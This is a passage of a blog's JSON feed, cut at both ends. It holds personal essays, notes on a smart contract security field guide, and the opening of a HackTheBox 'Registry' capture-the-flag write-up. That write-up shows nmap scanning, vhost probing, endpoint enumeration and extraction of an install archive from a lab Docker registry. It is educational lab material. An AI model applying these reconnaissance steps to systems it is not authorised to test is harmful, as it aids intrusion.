goes. My business will go where I go. Our taxes, education, and social engagement also follow.<\/p>\n<p>I hope never to see this day come. I hope people will come to their senses and stop buying into simple truths and big promises.<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"Field Guide Tryhard","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2024\/09\/01\/field-guide-tryhard.html","rel":"alternate"}},"published":"2024-09-01T00:00:00+02:00","updated":"2024-09-01T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2024-09-01:\/2024\/09\/01\/field-guide-tryhard.html","summary":"<p>Long story short, I got disillusioned with my previous work and its context. I started my project, the <a href=\"https:\/\/scsfg.io\/\">Smart Contract Security Field Guide (SCSFG)<\/a> to cope with it. Here are some nice features:<\/p>\n<ul>\n<li>New code samples instead of the same-old code you see everyone steal over and over<\/li>\n<li>A section \u2026<\/li><\/ul>","content":"<p>Long story short, I got disillusioned with my previous work and its context. I started my project, the <a href=\"https:\/\/scsfg.io\/\">Smart Contract Security Field Guide (SCSFG)<\/a> to cope with it. Here are some nice features:<\/p>\n<ul>\n<li>New code samples instead of the same-old code you see everyone steal over and over<\/li>\n<li>A section for hackers to give inspiration when stuck and explanations where the attack vector is clear<\/li>\n<li>A section for developers with general security guidelines, from audit preparation to running a bug bounty program<\/li>\n<li>No trackers, no ads, no shilling products, no bullshit. Just information.<\/li>\n<\/ul>\n<p>In my day-to-day work, I interact with the field guide mainly through the search box, just to see whether I have written something about a certain keyword. The development recommendations are great to send to clients' dev teams if there is general uncertainty around a topic. <\/p>\n<p>I want to end this post in the same manner as the last one on the subject:<\/p>\n<blockquote>\n<p>Contact me if you have suggestions on attacks, best practices, or helpful tooling to add. After all, this is about educating a community so it can make educated decisions!<\/p>\n<\/blockquote>\n<h2>Notes on Previous Contributions<\/h2>\n<p>Two years ago I wrote an article called <a href=\".\/honest-attempts-to-secure-an-ecosystem.md\">\"Honest Attempts to Secure an Ecosystem\"<\/a>. I wrote this blog post for two reasons. First, I wanted to hold myself accountable for improving the smart contract security best practices. Second, and more importantly, I wanted to create a memory, some kind of written artifact, of my previous work. Something to come back to one day and feel proud of, or at least learn something from. End of last year, on December 31st, 2023, I quit my job at Consensys. Nine months have passed since then, and it's time to reflect on what I have done.<\/p>\n<p>My first contribution to the security best practices was in January 2022. I mainly reviewed and merged other people's pull requests. Some were excellent content additions with new information. Most of the contributions fixed a single typo, added their tools (often of dubious quality) to a list, or made trivial changes to get into the contributor list. Maybe for an easy reputation boost, I'm not sure.<\/p>\n<p>At that point, my fellow auditors were happy someone took on this work. The best practices had gone quite stale since then, and when I proposed that I revamp it all, people were very supportive - and happy it wasn't them who had to go through the mess that had accumulated until then. I gave the site a new theme, split content into smaller sections, and created a long to-do list containing each section, missing content, and mistakes to fix. Along the way, I improved the site's loading performance, simplified navigation, and removed a lot of stale packages and redundant features that had accumulated. That felt nice, like a spring cleaning.<\/p>\n<p>This work was chugging along for almost a year until November 2022. There, my public contributions ended. Consensys decided to increase tracking on the website and place a large banner ad in the security tools section.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/field-guide-tryhard\/best-practices-ad.png\" data-pswp-width=\"1872\" data-pswp-height=\"674\" target=\"_blank\">\n        <img src=\"\/blog\/field-guide-tryhard\/best-practices-ad_thumb.jpg\" alt=\"Security best practices banner ad\" class=\"\" \/>\n    <\/a>\n<\/div>\n<p>This was not my choice. The best practices website had been very popular at that point despite its outdated content. People outside of the Diligence team noticed, saw an opportunity to upsell Consensys products, and went for it. A technical writer was hired behind the scenes to write a \"Security Tooling Guide\" with trivial bits of information. Marketing created a form to gather people's information in exchange for this guide - classic lead generation 101 stuff.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/field-guide-tryhard\/best-practices-form.png\" data-pswp-width=\"2576\" data-pswp-height=\"1810\" target=\"_blank\">\n        <img src=\"\/blog\/field-guide-tryhard\/best-practices-form_thumb.jpg\" alt=\"Security best practices lead form\" class=\"\" \/>\n    <\/a>\n<\/div>\n<p>Again, this was not my choice. I was asked to implement these things out of the blue. I refused because this went against my ethics. To be clear, I am not against marketing per se or upselling services and products. I am, however, against turning an educational resource into a commercial one without warning and exploiting people's trust in the process. When I mentioned these points to the responsible person in a 1:1 meeting, they shrugged it off. \"The decision has already been made, there is nothing I can change about it.\" They sent me on a wild goose chase, from one person to the next, where everyone told me they were not responsible.<\/p>\n<p>Of course, I was still doing my job, security code reviews, during the day. The process stretched over weeks, then months, and was incredibly draining. Not only that, I felt genuinely hurt. The users' needs did not matter; my concerns did not matter. The most important thing was monitoring the traffic and form conversion rates. Yet another channel for yet another person to justify their salary with. At that time, I realized I didn't own the content I produced. No one cared about its correctness, quality, accessibility, or whether it violated the users' privacy. For the months after, I gave up.<\/p>\n<p>One June evening in 2023, the best practices came to my mind while having some wine. Along with that, all the ideas I had put on hold. The sections I wanted to revamp and the mistakes that remained unfixed. After downing the whole bottle, I became convinced I could do a better job. So I set up a private repo, <code>mkdocs<\/code> with <code>mkdocs-material<\/code>, and basic CI. I started writing an outline with different items, then bullet points, then complete sentences. At the end of the night, the first few articles were finished.<\/p>","category":{"@attributes":{"term":"Security"}}},{"title":"Excessive Growth and Corporate Parties","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2023\/07\/20\/excessive-growth-and-corporate-parties.html","rel":"alternate"}},"published":"2023-07-20T00:00:00+02:00","updated":"2023-07-20T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2023-07-20:\/2023\/07\/20\/excessive-growth-and-corporate-parties.html","summary":"<p>Corporate parties - essentially designed to celebrate company triumphs, whether hitting revenue targets or instilling the company's mission and vision into the employees - can often devolve into nothing more than an extravagant distraction. This illusion of harmony, of success, of the 'perfect' work environment is essentially the art of corporate virtue \u2026<\/p>","content":"<p>Corporate parties - essentially designed to celebrate company triumphs, whether hitting revenue targets or instilling the company's mission and vision into the employees - can often devolve into nothing more than an extravagant distraction. This illusion of harmony, of success, of the 'perfect' work environment is essentially the art of corporate virtue signaling. It's a fa\u00e7ade masking the underbelly of what could potentially be inefficiency, misalignment, and, frankly, disarray.<\/p>\n<p>This form of virtue signaling is pervasive mainly in the growing web3 space. Despite the industry being a hotbed of innovation and progress, there is a noticeable shortage of leadership talent capable of shepherding this growth. As a result, there's a tendency to fall back on old, traditional leadership and management patterns, including these orchestrated and, often, opulent celebrations.<\/p>\n<p>The difference between self-organized events by the employees and those curated by the corporate entity is palpable. Such get-togethers are more personal, intimate and provide a safe space to share their experiences, challenges, and triumphs. It's not about the glitz or the glamour but the authentic human connection. Everyone is there because they want to be, not because they have to be.<\/p>\n<p>In contrast, corporate-organized events often feel more like a spectacle than a gathering. With their impressive budgets, the company can afford to splurge on professional entertainers, spectacular fireworks, and other grand displays. However, it becomes less about celebrating the people and the company itself. At worst, these events can quickly devolve into a bragging contest, lacking the personal, genuine touch that makes the self-organized events unique.This fa\u00e7ade, unfortunately, often leaves a bittersweet taste. On the one hand, there's the urge to let loose, dance, and have a good time. But on the other, there's a nagging realization that something's off, that the event lacks soul. It's an uncomfortable truth that makes genuinely enjoying the event challenging.<\/p>\n<p>When the CEO takes the stage, the messaging is typically about KPIs, corporate processes, and organizational structure\u2013 the elements from which the event should provide a temporary respite. And yet, the next moment, music plays, celebrating freedom, creativity, and altruism. It's a stark contrast that borders on hypocrisy.<\/p>\n<p>The real damage occurs when this culture of illusion takes over the core values and practices of the company. As these startups experience exponential growth, they must substantially expand their products and workforce. Management at this scale requires rigorous processes. Professionals adept at creating and maintaining these processes often come from traditional corporate backgrounds, and this mindset gradually infiltrates the rest of the company.<\/p>\n<p>When these individuals are tasked with setting up a festival or a gathering, they approach it as they would any other task - as a process. While this may be necessary when operating at a scale of hundreds of people, it unfortunately often results in 'soulless' parties and agendas.<\/p>\n<p>While corporate festivities aren't inherently wrong, they are often used as a smokescreen to mask more profound issues. More importantly, they lose the essence of what they're meant to be - a celebration of the people who make the company what it is. Companies, especially young startups, should strive to maintain their culture and authenticity as they grow. After all, no amount of corporate virtue signaling can substitute for a genuinely harmonious and innovative work environment where people strive to create something of substance.<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"Vacation Traditions","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2023\/01\/13\/vacation-traditions.html","rel":"alternate"}},"published":"2023-01-13T00:00:00+01:00","updated":"2023-01-13T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2023-01-13:\/2023\/01\/13\/vacation-traditions.html","summary":"<p>I enjoy getting lost in work. I mean, <em>really<\/em> enjoy it. I forget to eat and sleep, especially when developing software. There is something addicting about building an MVP as fast as possible, finding the perfect architecture, refactoring your previous hacks, and eventually making your code observable and running smoothly \u2026<\/p>","content":"<p>I enjoy getting lost in work. I mean, <em>really<\/em> enjoy it. I forget to eat and sleep, especially when developing software. There is something addicting about building an MVP as fast as possible, finding the perfect architecture, refactoring your previous hacks, and eventually making your code observable and running smoothly. Whenever I take a vacation, I find myself not really taking time off, however. I'll hack on other projects, \"be around,\" and I already find myself working before the holiday ends.<\/p>\n<p>Since two weeks of \"kind of vacation\" are not healthy, I have taken up the habit of taking all of December off in the past few years. Considering the new year's break, this usually amounts to 5 or 6 weeks of vacation. Every year starts by scheduling the next December break and setting reminders to tell my colleagues I won't be around.<\/p>\n<p>Come December, the first two weeks are the hardest. Work is still on my mind, and I need to make a conscious effort to disconnect. After two weeks, it's hard for me to remember that I still have a job. I start getting into other passions, like urban design, photography, and cooking. Every week after that just contributes to the \"great mental reset.\"<\/p>\n<p>After the vacation, I usually spend the first few weeks with impostor syndrome. I miss even the biggest news in the Ethereum security space around December and spend a considerable time asking myself whether I'm still fit to be a security auditor. It takes one or two weeks of diving back in to regain confidence in my skills. Software engineers are often humbled by blaming the compiler for the issues they caused, just to be taught a lesson once they wrap their heads around the issue. Security auditors, being service providers and mostly reading code, don't have that luxury.<\/p>\n<p>Having a prolonged period off, followed by a few weeks of slight impostor syndrome while catching up, feels like a healthy practice to stay down to earth. The Ethereum space is moving fast, and the boundaries of what's possible are pushed daily. Whether you, my fellow reader, are in a similar situation or not, consider taking some time off and focusing on how great it can feel to unplug for a while. I wish you all the best!<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"Honest Attempts to Secure an Ecosystem","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2022\/06\/29\/honest-attempts-to-secure-an-ecosystem.html","rel":"alternate"}},"published":"2022-06-29T00:00:00+02:00","updated":"2022-06-29T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2022-06-29:\/2022\/06\/29\/honest-attempts-to-secure-an-ecosystem.html","summary":"<p>I have used my off-time from audits in the past months to write more about security. Especially in a nascent ecosystem like Ethereum still is, the most considerable impact can be delivered by educating people. Education has to happen in different modes of complexity, depending on the target audience:<\/p>\n<ul>\n<li>Developers \u2026<\/li><\/ul>","content":"<p>I have used my off-time from audits in the past months to write more about security. Especially in a nascent ecosystem like Ethereum still is, the most considerable impact can be delivered by educating people. Education has to happen in different modes of complexity, depending on the target audience:<\/p>\n<ul>\n<li>Developers must be educated on how previous hacks happened and how to avoid making similar mistakes in the code they\n  produce.<\/li>\n<li>Business leads must be educated about the general (in-)securities of smart contracts and what can and cannot be\n  expected of them.<\/li>\n<li>General users must be educated on spotting and avoiding scams while repeatedly preached to not invest any money they\n  can't afford to lose. Ever.<\/li>\n<\/ul>\n<p>My own contribution to the above is the <a href=\"https:\/\/consensys.github.io\/smart-contract-best-practices\/\">Ethereum Smart Contract Best Practices<\/a>. When I joined <a href=\"https:\/\/consensys.net\/diligence\/\">ConsenSys Diligence<\/a>, the repository already existed, and people enjoyed the content. In the rollercoaster of auditing smart contracts as the main business, little time was left to properly maintain code samples, keep best practices up to date, and polish the overall site. I intend to change that.This is a note for everyone who enjoys my technical posts to follow along as I develop the best practices. Occasionally, I also tweet about the sections I have revised previously. Contact me if you have suggestions on attacks, best practices, or helpful tooling to add. <em>After all, this is about educating a community so it can make educated decisions!<\/em><\/p>","category":{"@attributes":{"term":"Security"}}},{"title":"Remembering my Dad","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2022\/03\/16\/remembering-my-dad.html","rel":"alternate"}},"published":"2022-03-16T00:00:00+01:00","updated":"2022-03-16T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2022-03-16:\/2022\/03\/16\/remembering-my-dad.html","summary":"<p>On March 11, 18:11, my dad passed away. After about a year with lung cancer and two weeks with COVID-19, he finally does not have to struggle anymore.<\/p>\n<p>I miss him dearly. After he got COVID, the doctors diagnosed him with pneumonia. He spent a week in the hospital \u2026<\/p>","content":"<p>On March 11, 18:11, my dad passed away. After about a year with lung cancer and two weeks with COVID-19, he finally does not have to struggle anymore.<\/p>\n<p>I miss him dearly. After he got COVID, the doctors diagnosed him with pneumonia. He spent a week in the hospital before being released. He needed oxygen 24\/7 and, in 30-minute intervals, switched from lucid moments where he was his usual self to a confused state of mind where memories and thoughts meddled with his conscience. When able to talk, he seemed to relive moments from his past mixed with the input his senses gave him.<\/p>\n<p>To take care of him at home, we prepared to take shifts while my mom was out working. From accompanying his tiny steps into the wheelchair to roll him to the lunch table, to help him with the toilet, and patting his head a bit to help him sleep, we have been there for him. Even when his body resisted, he kept a strong mind and was determined to get better.<\/p>\n<p>On March 8, he received new oxygen tanks, and as I got off the phone, he told me: \"You didn't notice, did you? Grandpa just died while you were on the phone.\" Grandpa had died 14 years ago. I calmed him down through his confusion, and even when he thought he didn't need the oxygen mask anymore (because it was all \"grandpa's stuff\"), I pleaded with him to keep on the mask - for me. He did listen, but only grudgingly.<\/p>\n<p>Even though his state was a rollercoaster ride in and of itself, I couldn't help but notice how the downs were becoming stronger and called his doctor to get him into stationary treatment again. I slightly increased the oxygen flow, hoping his state of mind would improve. With COVID raging in his body, his chemotherapy had to be paused, and I wanted him in the hospital for closer monitoring. When my mom arrived, he noticed but fell asleep.<\/p>\n<p>Seeing that things were not improving, mom was paralyzed. She couldn't believe the reality of what had happened to him. After all, he survived everything else so far. From suspected Tuberculosis, a coma lasting several weeks, broken bones, pneumonia, arthritis, and, most recently, his lung cancer diagnosis. I decided to call an ambulance as I felt him getting weaker and his breaths taking longer and becoming more irregular. When the paramedics arrived and asked him what place we were at and what current month we had, his responses reminded me of my demented grandma - his mom. Incoherent and struggling to overcome the deafening tone of a mental orchestra of old memories and new thoughts. Mom cried the rest of the day, and I didn't stop hugging her.<\/p>\n<p>A sleepless day and night passed without updates from the hospital. We prepared to get tested and visit him in the afternoon. Regular calls to the station at least assured us that he was still eating a bit and managed to sit up by himself. On the day of the visit, we prepared to head out for the test center and get the documents in order, when the hospital called: We don't have to get tested anymore and should come as soon as possible. Things were serious.<\/p>\n<p>They had already moved him to a single-bedroom when we arrived. I helped my mom lower the railing on the bed so she could lie next to him. His lips were chapped from the constant breathing and little movement. His fingertips already had begun to turn blue. With his breath even more irregular and in intervals, that would make your heart stop with fear whether he would have the energy for the next one. We hugged him; I stroked his forehead again to calm him down like I did so many times before.<\/p>\n<p>Knowing that he would hear me, I cried at his bedside and assured him that everything would be fine. We will be fine, and my sister and I will take care of mom, no matter what comes. I pressed his hand, and for a few hours, we all were in a stasis of sorrow and disbelief about what was happening right in front of us. Dad was unable to speak, but his eyes spoke volumes. From passion when he kissed mom for the last time, fear when he wanted to breathe but couldn't, and pain. The doctors gave him morphine to comfort him as he prepared for the following hours.<\/p>\n<p>Like waking up from a nightmare, I realized that I couldn't bear the thought of being in the same room as him when he did his last breath. Having read about death so many times, the reality was something else entirely. Seeing my factual knowledge of the world reflected in such a cruel way on my own dad would be more than I could handle. I went home while my mom and my sister stayed with him. I lay down on the sofa, the spot where he was lying just two days before, my phone next to me, waiting for the call to tell me the inevitable. At 18:16, my sister called me. Dad had passed away, falling asleep one last time. His lung had given out.<\/p>\n<p>I cannot begin to describe the pain I felt in this moment and continue to feel as I am writing this. As much as I know it will get better over time, I also viscerally feel that it will never disappear. Likewise, I cannot begin to describe the relief I feel. I had the privilege to be with him and say goodbye, that every time I left home, I hugged him like it was the last time, and that we didn't have any things left unsaid.<\/p>\n<p>He was a fighter and, while not perfect, always kept a positive mindset. He was rebellious in his youth in the GDR, and the socialist regime denied him any form of higher education. He was proud when I did things my way and went on to study computer science. It made him proud, and I like to think he lived his missed university years through me and the stories I brought home.<\/p>\n<p>Now he found out what happens after we die, as one day we all will. The memories we made together will always be close to my heart, and I am grateful for everything he gave me. I love you, dad!<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/remembering-my-dad\/2020-12-24-19.51.51.jpg\" data-pswp-width=\"3488\" data-pswp-height=\"3488\" target=\"_blank\">\n        <img src=\"\/blog\/remembering-my-dad\/2020-12-24-19.51.51_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>","category":{"@attributes":{"term":"Personal"}}},{"title":"HackTheBox Registry","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2021\/02\/13\/hackthebox-registry.html","rel":"alternate"}},"published":"2021-02-13T00:00:00+01:00","updated":"2021-02-13T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2021-02-13:\/2021\/02\/13\/hackthebox-registry.html","summary":"<p>Registry is a box rated at hard difficulty. There are quite a few steps involved, but with a bit of persistence and little experience with Docker internals (<a href=\"https:\/\/spoons.fyi\/2018\/09\/16\/low-level-debugging-of-stubborn-docker-containers.html\">hint hint<\/a>), it looks more daunting than it actually is. Let's go through the process of breaking in step by step! Out initial \u2026<\/p>","content":"<p>Registry is a box rated at hard difficulty. There are quite a few steps involved, but with a bit of persistence and little experience with Docker internals (<a href=\"https:\/\/spoons.fyi\/2018\/09\/16\/low-level-debugging-of-stubborn-docker-containers.html\">hint hint<\/a>), it looks more daunting than it actually is. Let's go through the process of breaking in step by step! Out initial nmap scan is as unexciting as it can be:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># Nmap 7.80 scan initiated Fri Jan 10 17:08:06 2020 as: nmap -sS -sC -oN registry.nmap -v 10.10.10.159<\/span>\nIncreasing<span class=\"w\"> <\/span>send<span class=\"w\"> <\/span>delay<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.159<span class=\"w\"> <\/span>from<span class=\"w\"> <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>to<span class=\"w\"> <\/span><span class=\"m\">5<\/span><span class=\"w\"> <\/span>due<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span><span class=\"m\">238<\/span><span class=\"w\"> <\/span>out<span class=\"w\"> <\/span>of<span class=\"w\"> <\/span><span class=\"m\">792<\/span><span class=\"w\"> <\/span>dropped<span class=\"w\"> <\/span>probes<span class=\"w\"> <\/span>since<span class=\"w\"> <\/span>last<span class=\"w\"> <\/span>increase.\nNmap<span class=\"w\"> <\/span>scan<span class=\"w\"> <\/span>report<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.159\nHost<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>up<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">0<\/span>.10s<span class=\"w\"> <\/span>latency<span class=\"o\">)<\/span>.\nNot<span class=\"w\"> <\/span>shown:<span class=\"w\"> <\/span><span class=\"m\">997<\/span><span class=\"w\"> <\/span>closed<span class=\"w\"> <\/span>ports\nPORT<span class=\"w\">    <\/span>STATE<span class=\"w\"> <\/span>SERVICE\n<span class=\"m\">22<\/span>\/tcp<span class=\"w\">  <\/span>open<span class=\"w\">  <\/span>ssh\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>ssh-hostkey:\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">2048<\/span><span class=\"w\"> <\/span><span class=\"m\">72<\/span>:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93<span class=\"w\"> <\/span><span class=\"o\">(<\/span>RSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span>c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ECDSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span><span class=\"m\">78<\/span>:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ED25519<span class=\"o\">)<\/span>\n<span class=\"m\">80<\/span>\/tcp<span class=\"w\">  <\/span>open<span class=\"w\">  <\/span>http\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>http-methods:\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span>Supported<span class=\"w\"> <\/span>Methods:<span class=\"w\"> <\/span>GET<span class=\"w\"> <\/span>HEAD\n<span class=\"p\">|<\/span>_http-title:<span class=\"w\"> <\/span>Welcome<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>nginx!\n<span class=\"m\">443<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>https\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>http-methods:\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span>Supported<span class=\"w\"> <\/span>Methods:<span class=\"w\"> <\/span>GET<span class=\"w\"> <\/span>HEAD\n<span class=\"p\">|<\/span>_http-title:<span class=\"w\"> <\/span>Welcome<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>nginx!\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>ssl-cert:<span class=\"w\"> <\/span>Subject:<span class=\"w\"> <\/span><span class=\"nv\">commonName<\/span><span class=\"o\">=<\/span>docker.registry.htb\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Issuer:<span class=\"w\"> <\/span><span class=\"nv\">commonName<\/span><span class=\"o\">=<\/span>Registry\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Public<span class=\"w\"> <\/span>Key<span class=\"w\"> <\/span>type:<span class=\"w\"> <\/span>rsa\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Public<span class=\"w\"> <\/span>Key<span class=\"w\"> <\/span>bits:<span class=\"w\"> <\/span><span class=\"m\">2048<\/span>\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Signature<span class=\"w\"> <\/span>Algorithm:<span class=\"w\"> <\/span>sha256WithRSAEncryption\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Not<span class=\"w\"> <\/span>valid<span class=\"w\"> <\/span>before:<span class=\"w\"> <\/span><span class=\"m\">2019<\/span>-05-06T21:14:35\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Not<span class=\"w\"> <\/span>valid<span class=\"w\"> <\/span>after:<span class=\"w\">  <\/span><span class=\"m\">2029<\/span>-05-03T21:14:35\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>MD5:<span class=\"w\">   <\/span>0d6f<span class=\"w\"> <\/span>504f<span class=\"w\"> <\/span>1cb5<span class=\"w\"> <\/span>de50<span class=\"w\"> <\/span>2f4e<span class=\"w\"> <\/span>5f67<span class=\"w\"> <\/span>9db6<span class=\"w\"> <\/span>a3a9\n<span class=\"p\">|<\/span>_SHA-1:<span class=\"w\"> <\/span>7da0<span class=\"w\"> <\/span><span class=\"m\">1245<\/span><span class=\"w\"> <\/span>1d62<span class=\"w\"> <\/span>d69b<span class=\"w\"> <\/span>a87e<span class=\"w\"> <\/span><span class=\"m\">8667<\/span><span class=\"w\"> <\/span>083c<span class=\"w\"> <\/span>39a6<span class=\"w\"> <\/span>9eb2<span class=\"w\"> <\/span>b2b5\n\nRead<span class=\"w\"> <\/span>data<span class=\"w\"> <\/span>files<span class=\"w\"> <\/span>from:<span class=\"w\"> <\/span>\/usr\/bin\/..\/share\/nmap\n<span class=\"c1\"># Nmap done at Fri Jan 10 17:08:20 2020 -- 1 IP address (1 host up) scanned in 14.34 seconds<\/span>\n<\/code><\/pre><\/div>\n\n<p>On ports 80 and 443, we both see a default NGINX site. Only the TLS certificate's Common Name <code>docker.registry.htb<\/code> gives us a hint. With the box being called Registry, we can deduce that this server probably has a <a href=\"https:\/\/docs.docker.com\/registry\/\">Docker registry<\/a> installed. Accessing the referenced vhost gives us an empty response:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># http http:\/\/registry.htb\/ &quot;Host: docker.registry.htb&quot;<\/span>\nHTTP\/1.1<span class=\"w\"> <\/span><span class=\"m\">200<\/span><span class=\"w\"> <\/span>OK\nCache-Control:<span class=\"w\"> <\/span>no-cache\nConnection:<span class=\"w\"> <\/span>keep-alive\nContent-Length:<span class=\"w\"> <\/span><span class=\"m\">0<\/span>\nDate:<span class=\"w\"> <\/span>Sat,<span class=\"w\"> <\/span><span class=\"m\">18<\/span><span class=\"w\"> <\/span>Jan<span class=\"w\"> <\/span><span class=\"m\">2020<\/span><span class=\"w\"> <\/span><span class=\"m\">22<\/span>:19:24<span class=\"w\"> <\/span>GMT\nServer:<span class=\"w\"> <\/span>nginx\/1.14.0<span class=\"w\"> <\/span><span class=\"o\">(<\/span>Ubuntu<span class=\"o\">)<\/span>\nStrict-Transport-Security:<span class=\"w\"> <\/span>max-age<span class=\"o\">=<\/span><span class=\"m\">63072000<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span>includeSubdomains\nX-Content-Type-Options:<span class=\"w\"> <\/span>nosniff\nX-Frame-Options:<span class=\"w\"> <\/span>DENY\n<\/code><\/pre><\/div>\n\n<p>Playing around with\nthe\u00a0<a href=\"https:\/\/docs.docker.com\/registry\/spec\/api\/\">API endpoints<\/a>\u00a0of the registry server a bit, we decide to take a step back and focus on breadth-first instead of depth-first search. We switch to dirbuster and start some bare endpoint enumeration with a small wordlist. After all, we're here to explore the server, not kill it.Even with a basic wordlist, we quickly find the <code>\/install\/<\/code> endpoint. It serves some binary data, which we fetch with <code>curl<\/code>and pipe into a file. A quick check shows us that we are looking at gzip-compressed data.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># file install.blob<\/span>\ninstall.blob:<span class=\"w\"> <\/span>gzip<span class=\"w\"> <\/span>compressed<span class=\"w\"> <\/span>data,<span class=\"w\"> <\/span>last<span class=\"w\"> <\/span>modified:<span class=\"w\"> <\/span>Mon<span class=\"w\"> <\/span>Jul<span class=\"w\"> <\/span><span class=\"m\">29<\/span><span class=\"w\"> <\/span><span class=\"m\">23<\/span>:38:20<span class=\"w\"> <\/span><span class=\"m\">2019<\/span>,<span class=\"w\"> <\/span>from<span class=\"w\"> <\/span>Unix,<span class=\"w\"> <\/span>original<span class=\"w\"> <\/span>size<span class=\"w\"> <\/span>modulo<span class=\"w\"> <\/span><span class=\"m\">2<\/span>^32<span class=\"w\"> <\/span><span class=\"m\">167772200<\/span><span class=\"w\"> <\/span>gzip<span class=\"w\"> <\/span>compressed<span class=\"w\"> <\/span>data,<span class=\"w\"> <\/span>reserved<span class=\"w\"> <\/span>method,<span class=\"w\"> <\/span>has<span class=\"w\"> <\/span>CRC,<span class=\"w\"> <\/span>was<span class=\"w\"> <\/span><span class=\"s2\">&quot;&quot;<\/span>,<span class=\"w\"> <\/span>from<span class=\"w\"> <\/span>FAT<span class=\"w\"> <\/span>filesystem<span class=\"w\"> <\/span><span class=\"o\">(<\/span>MS-DOS,<span class=\"w\"> <\/span>OS\/2,<span class=\"w\"> <\/span>NT<span class=\"o\">)<\/span>,<span class=\"w\"> <\/span>original<span class=\"w\"> <\/span>size<span class=\"w\"> <\/span>modulo<span class=\"w\"> <\/span><span class=\"m\">2<\/span>^32<span class=\"w\"> <\/span><span class=\"m\">167772200<\/span>\n<\/code><\/pre><\/div>\n\n<p>A fantastic tool we can use to analyze the archive without actually extracting it is called <code>zcat<\/code>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># zcat install.blob<\/span>\nca.crt0000775000004100000410000000210613464123607012215<span class=\"w\"> <\/span>0ustar<span class=\"w\">  <\/span>www-datawww-data-----BEGIN<span class=\"w\"> <\/span>CERTIFICATE-----\nMIIC\/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV\nBAMMCFJlZ2lzdHJ5MB4XDTE5MDUwNjIxMTQzNVoXDTI5MDUwMzIxMTQzNVowEzER\nMA8GA1UEAwwIUmVnaXN0cnkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB\nAQCw9BmNspBdfyc4Mt+teUfAVhepjje0\/JE0db9Iqmk1DpjjWfrACum1onvabI\/5\nT5ryXgWb9kS8C6gzslFfPhr7tTmpCilaLPAJzHTDhK+HQCMoAhDzKXikE2dSpsJ5\nzZKaJbmtS6f3qLjjJzMPqyMdt\/i4kn2rp0ZPd+58pIk8Ez8C8pB1tO7j3+QAe9wc\nr6vx1PYvwOYW7eg7TEfQmmQt\/orFs7o6uZ1MrnbEKbZ6+bsPXLDt46EvHmBDdUn1\nzGTzI3Y2UMpO7RXEN06s6tH4ufpaxlppgOnR2hSvwSXrWyVh2DVG1ZZu+lLt4eHI\nqFJvJr5k\/xd0N+B+v2HrCOhfAgMBAAGjUzBRMB0GA1UdDgQWBBTpKeRSEzvTkuWX\n<span 